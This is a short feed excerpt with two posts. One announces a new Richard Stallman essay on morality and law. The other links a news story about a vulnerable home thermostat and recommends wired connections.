New article by Richard Stallman: https://www.gnu.org/philosophy/the-moral-and-the-legal.html
17 January, 2024 10:56AM by Jing Luo
https://www.foxnews.com/tech/another-home-thermostat-found-vulnerable-to-attack
A network cable connection to any thermostat is still a safer and overall less expensive long term choice.
15 January, 2024 04:31PM by Stephen H. Dawson DSL